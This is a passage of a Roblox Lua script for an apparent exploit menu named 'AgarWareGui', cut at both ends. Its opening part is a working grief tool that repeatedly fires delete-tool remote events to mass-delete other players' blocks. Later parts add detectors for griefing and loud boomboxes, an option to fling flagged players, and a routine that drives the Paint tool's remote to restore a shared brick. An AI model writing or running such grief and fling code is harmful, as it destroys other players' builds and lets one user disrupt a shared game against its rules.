-- ============================================================
local function clearHighlights()
for _, highlight in pairs(highlights) do
if highlight and highlight.Parent then
pcall(function()
highlight:Destroy()
end)
end
end
highlights = {}
end
-- ============================================================
-- START GRIEFING
-- ============================================================
local function startGrief()
local dtools = findDeleteTools()
if #dtools == 0 then
GriefAllButton.Text = "Delete tool not found"
task.wait(1)
GriefAllButton.Text = TEXT_START
return
end
isGriefing = true
GriefAllButton.Text = TEXT_STOP
-- HIGHLIGHT LOOP (separate thread)
highlightLoop = task.spawn(function()
while isGriefing do
clearHighlights()
local targetBlocks = getAllTargetBlocks()
local blocksPerSecond = 1 / (ws / math.max(#dtools, 1))
local highlightCount = math.floor(blocksPerSecond * 2)
for i = 1, math.min(highlightCount, #targetBlocks) do
local block = targetBlocks[i]
if block and block:IsDescendantOf(workspace) then
local highlight = Instance.new("Highlight")
highlight.Adornee = block
highlight.FillColor = Color3.fromRGB(255, 0, 0)
highlight.OutlineColor = Color3.fromRGB(255, 0, 0)
highlight.FillTransparency = 0.5
highlight.OutlineTransparency = 1
highlight.Parent = block
table.insert(highlights, highlight)
end
end
task.wait(0.1)
end
clearHighlights()
end)
-- GRIEF LOOP (separate thread)
griefLoop = task.spawn(function()
local dti = 0
local lastRefreshTime = 0
-- Initial refresh when starting
if shared.DeleteToolRefresh then
shared.DeleteToolRefresh()
end
lastRefreshTime = tick()
while isGriefing do
local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if not hrp then
task.wait()
continue
end
local dtools = findDeleteTools()
if #dtools > 0 then
local targetBlocks = getAllTargetBlocks()
if #targetBlocks > 0 then
-- Refresh every 5 seconds ONLY when blocks exist
if tick() - lastRefreshTime >= 5 then
if shared.DeleteToolRefresh then
shared.DeleteToolRefresh()
end
lastRefreshTime = tick()
end
-- Check if any blocks are highlighted
local hasHighlights = false
for _, h in pairs(highlights) do
if h and h.Parent then
hasHighlights = true
break
end
end
-- DELETE ONLY HIGHLIGHTED BLOCKS (or any block if none highlighted)
for _, block in ipairs(targetBlocks) do
if not isGriefing then break end
if block and block:IsDescendantOf(workspace) then
-- Check if this block is highlighted
local isHighlighted = false
for _, h in pairs(highlights) do
if h and h.Adornee == block then
isHighlighted = true
break
end
end
-- Only delete if: highlighted OR no highlights exist at all
if isHighlighted or not hasHighlights then
dti = dti + 1
local dt = dtools[(dti % #dtools) + 1]
pcall(function()
dt.e:FireServer(block, hrp.Position)
end)
task.wait(ws / #dtools)
end
end
end
else
-- No blocks, don't refresh, just wait
task.wait(0.5)
end
else
task.wait(1)
end
task.wait()
end
end)
end
-- ============================================================
-- STOP GRIEFING
-- ============================================================
local function stopGrief()
isGriefing = false
GriefAllButton.Text = TEXT_START
if griefLoop then
task.cancel(griefLoop)
griefLoop = nil
end
if highlightLoop then
task.cancel(highlightLoop)
highlightLoop = nil
end
task.wait(0.1)
clearHighlights()
local dtools = findDeleteTools()
for _, dt in pairs(dtools) do
if dt.bt.Parent == LocalPlayer.Character then
dt.bt.Parent = LocalPlayer.Backpack
end
end
end
-- ============================================================
-- BUTTON HANDLERS
-- ============================================================
GriefAllButton.MouseEnter:Connect(function()
if not isGriefing then
local targetBlocks = getAllTargetBlocks()
if #targetBlocks == 0 then
GriefAllButton.Text = TEXT_NO_BLOCKS
end
end
end)
GriefAllButton.MouseLeave:Connect(function()
if not isGriefing then
GriefAllButton.Text = TEXT_START
end
end)
GriefAllButton.MouseButton1Click:Connect(function()
if isGriefing then
stopGrief()
else
startGrief()
end
end)
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
if isGriefing then
stopGrief()
end
end
end)
end;
task.spawn(C_1e1);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableScript
local function C_1e7()
local script = G2L["1e7"];
local EnableGroup = script.Parent
local EnableMinimize = EnableGroup.EnableTitle.EnableMinimize
local function getRows()
local rows = {}
for _, child in ipairs(EnableGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = EnableGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
EnableMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
EnableGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
EnableMinimize.Text = "+"
else
EnableGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
EnableMinimize.Text = "-"
end
end)
end;
task.spawn(C_1e7);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableToolTip
local function C_1e8()
local script = G2L["1e8"];
-- ============================================================
-- ENABLE TOOLTIP SCRIPT
-- Controls Enable-related tooltips only
-- ============================================================
local Group = script.Parent
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then
return p
end
p = p.Parent
end
end
local ScreenGui = getScreenGui()
if not ScreenGui then return end
-- ============================================================
-- FIND UI REFERENCES
-- ============================================================
local function findDescendant(name)
for _, v in pairs(ScreenGui:GetDescendants()) do
if v.Name == name then
return v
end
end
end
local EnableDeleteTickBox = findDescendant("EnableDeleteTickBox")
local EnablePaintTickBox = findDescendant("EnablePaintTickBox")
local EnableSpamTickBox = findDescendant("EnableSpamTickBox")
local EnableExploitsTickBox = findDescendant("EnableExploitsTickBox")
local EnableHelp = findDescendant("EnableHelp")
-- ============================================================
-- TOOLTIP BUILDER
-- ============================================================
local function makeTooltip(text)
local frame = Instance.new("Frame")
frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = ScreenGui
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57,57,57)
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0,6)
padding.PaddingBottom = UDim.new(0,6)
padding.PaddingLeft = UDim.new(0,6)
padding.PaddingRight = UDim.new(0,6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1,1,1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0,200,0,0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
return frame
end
local function hookTooltip(button, tooltipFrame)
if not button then return end
button.MouseEnter:Connect(function()
local abs = button.AbsolutePosition
local size = button.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
button.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
end
-- ============================================================
-- CREATE TOOLTIPS
-- ============================================================
local deleteTooltip = makeTooltip(
"Detects players deleting other people's builds."
)
local paintTooltip = makeTooltip(
"Detects players painting other people's builds."
)
local spamTooltip = makeTooltip(
"Detects players spamming blocks."
)
local exploitsTooltip = makeTooltip(
"Detects players using grief auras, grief scripts and other exploits. You must turn on any grief detections to detect when they use exploits to grief with those tools.\n\nAlert in chat will send a different message when they use scripts to grief."
)
local helpTooltip = makeTooltip(
"Enabling any detection will monitor for possible griefing.\nTurn on punish options to automatically punish detected players.\n\nView detection logs by typing /console in chat."
)
-- ============================================================
-- HOOK THEM
-- ============================================================
hookTooltip(EnableDeleteTickBox, deleteTooltip)
hookTooltip(EnablePaintTickBox, paintTooltip)
hookTooltip(EnableSpamTickBox, spamTooltip)
hookTooltip(EnableExploitsTickBox, exploitsTooltip)
hookTooltip(EnableHelp, helpTooltip)
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
deleteTooltip:Destroy()
paintTooltip:Destroy()
spamTooltip:Destroy()
exploitsTooltip:Destroy()
helpTooltip:Destroy()
end
end)
end;
task.spawn(C_1e8);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableDeleteRow.EnableDeleteScript
local function C_1ef()
local script = G2L["1ef"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local EnableDeleteRow = script.Parent
local EnableGroup = EnableDeleteRow.Parent
local EnableDeleteTickBox = EnableDeleteRow:WaitForChild("EnableDeleteTickBox")
local EnableAccentColor = EnableGroup:WaitForChild("EnableAccentColor")
local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui")
local Enabled = false
local function updateVisual()
if Enabled then
EnableDeleteTickBox.BackgroundColor3 = EnableAccentColor.BackgroundColor3
print("Delete Detection ON")
else
EnableDeleteTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
print("Delete Detection OFF")
end
end
EnableDeleteTickBox.MouseButton1Click:Connect(function()
Enabled = not Enabled
ScreenGui:SetAttribute("DeleteLogsEnabled", Enabled)
updateVisual()
end)
updateVisual()
end;
task.spawn(C_1ef);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnablePaintRow.EnablePaintScript
local function C_1f3()
local script = G2L["1f3"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local EnablePaintRow = script.Parent
local EnableGroup = EnablePaintRow.Parent
local EnablePaintTickBox = EnablePaintRow:WaitForChild("EnablePaintTickBox")
local EnableAccentColor = EnableGroup:WaitForChild("EnableAccentColor")
local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui")
local Enabled = false
local function updateVisual()
if Enabled then
EnablePaintTickBox.BackgroundColor3 = EnableAccentColor.BackgroundColor3
print("Paint Detection ON")
else
EnablePaintTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
print("Paint Detection OFF")
end
end
EnablePaintTickBox.MouseButton1Click:Connect(function()
Enabled = not Enabled
ScreenGui:SetAttribute("PaintLogsEnabled", Enabled)
updateVisual()
end)
updateVisual()
end;
task.spawn(C_1f3);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableSpamRow.EnableSpamScript
local function C_1f7()
local script = G2L["1f7"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local EnableSpamRow = script.Parent
local EnableGroup = EnableSpamRow.Parent
local EnableSpamTickBox = EnableSpamRow:WaitForChild("EnableSpamTickBox")
local EnableAccentColor = EnableGroup:WaitForChild("EnableAccentColor")
local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui")
local Enabled = false
local function updateVisual()
if Enabled then
EnableSpamTickBox.BackgroundColor3 = EnableAccentColor.BackgroundColor3
print("Spam Detection ON")
else
EnableSpamTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
print("Spam Detection OFF")
end
end
EnableSpamTickBox.MouseButton1Click:Connect(function()
Enabled = not Enabled
ScreenGui:SetAttribute("SpamLogsEnabled", Enabled)
updateVisual()
end)
updateVisual()
end;
task.spawn(C_1f7);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableExploitsRow.EnableExploitsScript
local function C_1fb()
local script = G2L["1fb"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local EnableExploitsRow = script.Parent
local EnableGroup = EnableExploitsRow.Parent
local EnableExploitsTickBox = EnableExploitsRow:WaitForChild("EnableExploitsTickBox")
local EnableAccentColor = EnableGroup:WaitForChild("EnableAccentColor")
local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui")
local Enabled = false
local function updateVisual()
if Enabled then
EnableExploitsTickBox.BackgroundColor3 = EnableAccentColor.BackgroundColor3
print("Exploits Detection ON")
else
EnableExploitsTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
print("Exploits Detection OFF")
end
end
EnableExploitsTickBox.MouseButton1Click:Connect(function()
Enabled = not Enabled
ScreenGui:SetAttribute("ExploitsLogsEnabled", Enabled)
updateVisual()
end)
updateVisual()
end;
task.spawn(C_1fb);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscScript
local function C_1ff()
local script = G2L["1ff"];
local MiscGroup = script.Parent
local MiscMinimize = MiscGroup.MiscTitle.MiscMinimize
local function getRows()
local rows = {}
for _, child in ipairs(MiscGroup:GetChildren()) do
if child:IsA("Frame") and string.find(child.Name, "Row") then
table.insert(rows, child)
end
end
return rows
end
local isMinimized = false
local originalSize = MiscGroup.Size
local minimizedSize = UDim2.new(0, 170, 0, 20)
MiscMinimize.MouseButton1Click:Connect(function()
isMinimized = not isMinimized
local rows = getRows()
if isMinimized then
MiscGroup.Size = minimizedSize
for _, row in ipairs(rows) do
row.Visible = false
end
MiscMinimize.Text = "+"
else
MiscGroup.Size = originalSize
for _, row in ipairs(rows) do
row.Visible = true
end
MiscMinimize.Text = "-"
end
end)
end;
task.spawn(C_1ff);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscToolTip
local function C_200()
local script = G2L["200"];
-- ============================================================
-- ENABLE TOOLTIP SCRIPT
-- Controls Enable-related tooltips only
-- ============================================================
local Group = script.Parent
-- ============================================================
-- SCREENGUI HELPER
-- ============================================================
local function getScreenGui()
local p = script.Parent
while p do
if p:IsA("ScreenGui") then
return p
end
p = p.Parent
end
end
local ScreenGui = getScreenGui()
if not ScreenGui then return end
-- ============================================================
-- FIND UI REFERENCES
-- ============================================================
local function findDescendant(name)
for _, v in pairs(ScreenGui:GetDescendants()) do
if v.Name == name then
return v
end
end
end
local LBoomboxTickBox = findDescendant("LBoomboxTickBox")
local FDetectorRowTickBox = findDescendant("FDetectorRowTickBox")
-- ============================================================
-- TOOLTIP BUILDER
-- ============================================================
local function makeTooltip(text)
local frame = Instance.new("Frame")
frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
frame.BorderSizePixel = 0
frame.ZIndex = 100
frame.AutomaticSize = Enum.AutomaticSize.Y
frame.Size = UDim2.new(0, 212, 0, 0)
frame.Visible = false
frame.Parent = ScreenGui
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(57,57,57)
stroke.Parent = frame
local padding = Instance.new("UIPadding")
padding.PaddingTop = UDim.new(0,6)
padding.PaddingBottom = UDim.new(0,6)
padding.PaddingLeft = UDim.new(0,6)
padding.PaddingRight = UDim.new(0,6)
padding.Parent = frame
local label = Instance.new("TextLabel")
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1,1,1)
label.TextSize = 14
label.TextXAlignment = Enum.TextXAlignment.Left
label.TextYAlignment = Enum.TextYAlignment.Top
label.Font = Enum.Font.GothamSemibold
label.TextWrapped = true
label.Size = UDim2.new(0,200,0,0)
label.AutomaticSize = Enum.AutomaticSize.Y
label.ZIndex = 101
label.Parent = frame
return frame
end
local function hookTooltip(button, tooltipFrame)
if not button then return end
button.MouseEnter:Connect(function()
local abs = button.AbsolutePosition
local size = button.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
button.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
end
-- ============================================================
-- CREATE TOOLTIPS
-- ============================================================
local boomboxTooltip = makeTooltip(
"Detects players playing their boombox too loud. Turn on alert in chat to notifed when this happens, turn on confirm grief to fling them."
)
local fdetectorTooltip = makeTooltip(
"Detects players using fling scripts or touch flinging other players. Turn on alert in chat to be notified when this happens."
)
-- ============================================================
-- HOOK THEM
-- ============================================================
hookTooltip(LBoomboxTickBox, boomboxTooltip)
hookTooltip(FDetectorRowTickBox, fdetectorTooltip)
-- ============================================================
-- CLEANUP
-- ============================================================
script.AncestryChanged:Connect(function()
if not script:IsDescendantOf(game) then
boomboxTooltip:Destroy()
fdetectorTooltip:Destroy()
end
end)
end;
task.spawn(C_200);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.LBoomboxRow.LBoomboxScript
local function C_206()
local script = G2L["206"];
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
--------------------------------------------------
-- GUI REFERENCES
--------------------------------------------------
local LBoomboxRow = script.Parent
local MiscGroup = LBoomboxRow.Parent
local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor")
local LBoomboxTickBox = LBoomboxRow:WaitForChild("LBoomboxTickBox")
local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui")
--------------------------------------------------
-- ENABLE STATE
--------------------------------------------------
local Enabled = false
local function updateVisual()
if Enabled then
LBoomboxTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
else
LBoomboxTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
end
end
LBoomboxTickBox.MouseButton1Click:Connect(function()
Enabled = not Enabled
updateVisual()
end)
updateVisual()
--------------------------------------------------
-- SETTINGS
--------------------------------------------------
local LOUD_THRESHOLD = 700
local CHECK_INTERVAL = 1 -- seconds between loudness checks per player
local FAR_DISTANCE = 100 -- studs — if farther than this, snap camera to measure
--------------------------------------------------
-- TABLES
--------------------------------------------------
local lastCheck = {}
local detectedIDs = {} -- store detected AudioIds per player to prevent repeats
--------------------------------------------------
-- EVENTS
--------------------------------------------------
shared.GriefEvent = shared.GriefEvent or Instance.new("BindableEvent")
shared.BoomboxLoudEvent = shared.BoomboxLoudEvent or Instance.new("BindableEvent")
--------------------------------------------------
-- GET BOOMBOX SOUND
--------------------------------------------------
local function getBoomboxSound(player)
local char = workspace:FindFirstChild(player.Name)
if not char then return nil end
local boombox = char:FindFirstChild("SuperFlyGoldBoombox")
if not boombox then return nil end
for _, obj in ipairs(boombox:GetDescendants()) do
if obj:IsA("Sound") then return obj end
end
return nil
end
--------------------------------------------------
-- GET LOUDNESS (optimized)
--------------------------------------------------
local function getLoudness(player, sound)
local myChar = LocalPlayer.Character
local myHRP = myChar and myChar:FindFirstChild("HumanoidRootPart")
local theirChar = workspace:FindFirstChild(player.Name)
local theirHRP = theirChar and theirChar:FindFirstChild("HumanoidRootPart")
if not myHRP or not theirHRP then
return sound.PlaybackLoudness
end
local dist = (myHRP.Position - theirHRP.Position).Magnitude
-- Only snap camera if far away
if dist <= FAR_DISTANCE then
return sound.PlaybackLoudness
end
-- Far-away: just approximate loudness without snapping every frame
local cam = workspace.CurrentCamera
local savedCFrame = cam.CFrame
cam.CFrame = CFrame.new(theirHRP.Position)
RunService.RenderStepped:Wait()
local loudness = sound.PlaybackLoudness
cam.CFrame = savedCFrame
return loudness
end
--------------------------------------------------
-- ALERT HELPERS
--------------------------------------------------
local function sendAlertChat(player)
if not shared.sendChat then return end
local alertRow = ScreenGui:FindFirstChild("AlertGriefRow", true)
local alertTickBox = alertRow and alertRow:FindFirstChild("AlertGriefTickBox")
if alertTickBox and alertTickBox:GetAttribute("Enabled") then
shared.sendChat("🚨" .. player.DisplayName .. " is playing on the boombox too loud")
end
end
local function playSFX()
local sfxRow = ScreenGui:FindFirstChild("SFXGriefRow", true)
local sfxTickBox = sfxRow and sfxRow:FindFirstChild("SFXGriefTickBox")
if sfxTickBox and sfxTickBox:GetAttribute("Enabled") then
local sound = LocalPlayer.PlayerGui:FindFirstChildOfClass("Sound")
if sound then
sound:Stop()
sound:Play()
task.delay(2, function() sound:Stop() end)
end
end
end
--------------------------------------------------
-- TRIGGER
--------------------------------------------------
local function onBoomboxLoud(player, sound)
if not Enabled then return end
if not detectedIDs[player.UserId] then
detectedIDs[player.UserId] = {}
end
local audioId = sound.SoundId
if detectedIDs[player.UserId][audioId] then return end
detectedIDs[player.UserId][audioId] = true
print("[BOOMBOX] " .. player.Name .. " is too loud: AudioID=" .. audioId)
sendAlertChat(player)
playSFX()
local confirmRow = ScreenGui:FindFirstChild("ConfirmGriefRow", true)
local confirmTickBox = confirmRow and confirmRow:FindFirstChild("ConfirmGriefTickBox")
if confirmTickBox and confirmTickBox:GetAttribute("Enabled") then
shared.BoomboxLoudEvent:Fire(player)
end
end
--------------------------------------------------
-- DETECTION LOOP (optimized)
--------------------------------------------------
task.spawn(function()
while true do
if Enabled then
local now = tick()
for _, player in ipairs(Players:GetPlayers()) do
if player == LocalPlayer then continue end
local userId = player.UserId
if not lastCheck[userId] or now - lastCheck[userId] >= CHECK_INTERVAL then
lastCheck[userId] = now
local sound = getBoomboxSound(player)
if sound and sound.IsPlaying then
local loudness = getLoudness(player, sound)
if loudness > LOUD_THRESHOLD then
onBoomboxLoud(player, sound)
end
end
end
end
end
task.wait(0.2) -- small delay to prevent tight loop
end
end)
end;
task.spawn(C_206);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.AutoPaintRepRow.AutoPaintRepScript
local function C_20a()
local script = G2L["20a"];
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local repBrick = ReplicatedStorage:WaitForChild("Brick")
--------------------------------------------------
-- GUI REFERENCES
--------------------------------------------------
local AutoPaintRepRow = script.Parent
local MiscGroup = AutoPaintRepRow.Parent
local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor")
local AutoPaintRepTickBox = AutoPaintRepRow:WaitForChild("AutoPaintRepTickBox")
--------------------------------------------------
-- ENABLE STATE
--------------------------------------------------
AutoPaintRepTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
AutoPaintRepTickBox:SetAttribute("Enabled", false)
local function updateVisual()
if AutoPaintRepTickBox:GetAttribute("Enabled") then
AutoPaintRepTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
else
AutoPaintRepTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
end
end
AutoPaintRepTickBox.MouseButton1Click:Connect(function()
local state = not AutoPaintRepTickBox:GetAttribute("Enabled")
AutoPaintRepTickBox:SetAttribute("Enabled", state)
updateVisual()
end)
updateVisual()
-- ============================================================
-- TOOLTIP
-- ============================================================
local tooltipFrame = Instance.new("Frame")
tooltipFrame.Name = "AutoPaintRepTooltip"
tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
tooltipFrame.BorderSizePixel = 0
tooltipFrame.ZIndex = 100
tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
tooltipFrame.Visible = false
tooltipFrame.Parent = script.Parent.Parent:FindFirstAncestorWhichIsA("ScreenGui")
tooltipFrame.ClipsDescendants = true
tooltipFrame.Active = false
tooltipFrame.Selectable = false
local tooltipStroke = Instance.new("UIStroke")
tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
tooltipStroke.Thickness = 1
tooltipStroke.Parent = tooltipFrame
local tooltipPadding = Instance.new("UIPadding")
tooltipPadding.PaddingTop = UDim.new(0, 6)
tooltipPadding.PaddingBottom = UDim.new(0, 6)
tooltipPadding.PaddingLeft = UDim.new(0, 6)
tooltipPadding.PaddingRight = UDim.new(0, 6)
tooltipPadding.Parent = tooltipFrame
local tooltipText = Instance.new("TextLabel")
tooltipText.BackgroundTransparency = 1
tooltipText.Text = "Automatically restores bkit when a player using exploits to paint the ReplicatedStorage.Brick. It also checks in every minute if it failed to restore. You must have Paint tool."
tooltipText.TextColor3 = Color3.new(1, 1, 1)
tooltipText.TextSize = 14
tooltipText.TextXAlignment = Enum.TextXAlignment.Left
tooltipText.TextYAlignment = Enum.TextYAlignment.Top
tooltipText.Font = Enum.Font.GothamSemibold
tooltipText.TextWrapped = true
tooltipText.Size = UDim2.new(0, 200, 0, 0)
tooltipText.AutomaticSize = Enum.AutomaticSize.Y
tooltipText.ZIndex = 101
tooltipText.Parent = tooltipFrame
AutoPaintRepTickBox.MouseEnter:Connect(function()
local abs = AutoPaintRepTickBox.AbsolutePosition
local size = AutoPaintRepTickBox.AbsoluteSize
tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
tooltipFrame.Visible = true
end)
AutoPaintRepTickBox.MouseLeave:Connect(function()
tooltipFrame.Visible = false
end)
--------------------------------------------------
-- SHARED STATE
--------------------------------------------------
shared.IsRestoringBKit = false
shared.AutoPaintDebounce = nil
--------------------------------------------------
-- CLEAN MATERIALS
--------------------------------------------------
local CLEAN_MATERIALS = {
["SmoothPlastic"] = true,
["CeramicTiles"] = true,
["Plastic"] = true,
["Concrete"] = true,
}
local lastMaterial = repBrick.Material
--------------------------------------------------
-- HELPERS
--------------------------------------------------
local function sendChat(msg)
if shared.sendChat then shared.sendChat(msg) end
end
local function getPaintTool()
return LocalPlayer.Backpack:FindFirstChild("Paint")
or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint"))
end
local function getPaintEvent()
local tool = getPaintTool()
if not tool then return nil end
local s = tool:FindFirstChild("Script")
return s and s:FindFirstChild("Event")
end
local function isRepPaintsEnabled()
return shared.RepPaintsEnabled == true
end
-- NEW: Force equip Paint tool if it gets unequipped during restoration
local function ensurePaintEquipped()
local character = LocalPlayer.Character
if not character then return false end
-- Check if Paint is already equipped
if character:FindFirstChild("Paint") then
return true
end
-- Paint is not equipped, force equip it
local paintInBackpack = LocalPlayer.Backpack:FindFirstChild("Paint")
if not paintInBackpack then
return false -- Paint tool doesn't exist
end
local hum = character:FindFirstChild("Humanoid")
if not hum then return false end
-- Force equip
hum:EquipTool(paintInBackpack)
task.wait(0.15)
-- Verify it's equipped
return character:FindFirstChild("Paint") ~= nil
end
local SIDES = {
Enum.NormalId.Front,
Enum.NormalId.Right,
Enum.NormalId.Back,
Enum.NormalId.Left,
Enum.NormalId.Top,
Enum.NormalId.Bottom,
}
local DEFAULT_COLOR = Color3.fromRGB(192, 192, 192)
local DEFAULT_MATERIAL = "plastic"
--------------------------------------------------
-- RESTORE FUNCTION USING PAINT TOOL
--------------------------------------------------
local function restoreBrick(repBrick, sendMessage)
local character = LocalPlayer.Character
if not character then return false end
local previousTool = character:FindFirstChildOfClass("Tool")
local wasPaintEquipped = previousTool and previousTool.Name == "Paint"
if not wasPaintEquipped then
local paintInBackpack = LocalPlayer.Backpack:FindFirstChild("Paint")
if not paintInBackpack then return false end
local hum = character:FindFirstChild("Humanoid")
if not hum then return false end
hum:EquipTool(paintInBackpack)
task.wait(0.1)
end
local paintEvent = getPaintEvent()
if not paintEvent then return false end
-- Step 1: Repaint all sides with default color
for _, side in ipairs(SIDES) do
-- Ensure Paint is still equipped
if not ensurePaintEquipped() then
return false
end
pcall(function()
paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", DEFAULT_COLOR, "", "")
end)
task.wait(0.05)
end
-- Step 2: Apply default material - KEEP TRYING UNTIL IT'S A CLEAN MATERIAL
local maxMaterialAttempts = 10
for attempt = 1, maxMaterialAttempts do
-- Ensure Paint is still equipped before each attempt
if not ensurePaintEquipped() then
return false
end
-- Check if material is already clean
if CLEAN_MATERIALS[repBrick.Material.Name] then
break
end
-- Apply plastic material
pcall(function()
paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", DEFAULT_COLOR, DEFAULT_MATERIAL, "")
end)
task.wait(0.15)
end
-- Step 3: Clear ALL sprays - KEEP SPRAYING UNTIL NO CHILDREN REMAIN
local maxSprayAttempts = 20
for attempt = 1, maxSprayAttempts do
-- Ensure Paint is still equipped before each spray cycle
if not ensurePaintEquipped() then
return false
end
-- Check if all sprays are gone
if #repBrick:GetChildren() == 0 then
break
end
-- Spray all sides
for _, side in ipairs(SIDES) do
-- Check Paint tool is equipped before each side
if not ensurePaintEquipped() then
return false
end
pcall(function()
paintEvent:FireServer(repBrick, side, repBrick.Position, "both 🤝", DEFAULT_COLOR, "spray", "")
end)
task.wait(0.03)
end
task.wait(0.05)
end
-- Step 4: Anchor if unanchored
if not repBrick.Anchored then
-- Ensure Paint is equipped
if not ensurePaintEquipped() then
return false
end
-- Clear spray on Top side first
pcall(function()
paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "both 🤝", DEFAULT_COLOR, "spray", "")
end)
task.wait(0.1)
-- Anchor it
pcall(function()
paintEvent:FireServer(repBrick, Enum.NormalId.Top, repBrick.Position, "material", Color3.new(0, 0, 0), "anchor", "")
end)
task.wait(0.1)
end
-- Re-equip previous tool
if not wasPaintEquipped then
local hum = character:FindFirstChild("Humanoid")
if hum then
hum:UnequipTools()
task.wait(0.1)
if previousTool and previousTool.Parent == LocalPlayer.Backpack then
hum:EquipTool(previousTool)
end
end
end
-- Send message if requested
if sendMessage and isRepPaintsEnabled() then
sendChat("✅Bkit has been restored back to normal")
end
return true
end
--------------------------------------------------
-- CHANGE COUNTING
--------------------------------------------------
local function isChangeCounted()
local mat = repBrick.Material
local color = repBrick.Color
local anchored = repBrick.Anchored
local hasChildren = #repBrick:GetChildren() > 0
-- Only ignore material-change itself if Clean→Clean or Normal→Clean
local materialChangeIgnored = (CLEAN_MATERIALS[lastMaterial.Name] and CLEAN_MATERIALS[mat.Name])
or (not CLEAN_MATERIALS[lastMaterial.Name] and CLEAN_MATERIALS[mat.Name])
lastMaterial = mat -- always update tracker
-- Count change if ANY of these is true (OR logic)
if materialChangeIgnored then
-- ignore only material-change itself
return hasChildren or anchored == false or color ~= DEFAULT_COLOR or not CLEAN_MATERIALS[mat.Name]
else
return true
end
end
--------------------------------------------------
-- BRICK CHANGE HANDLER
--------------------------------------------------
local function onBrickChanged()
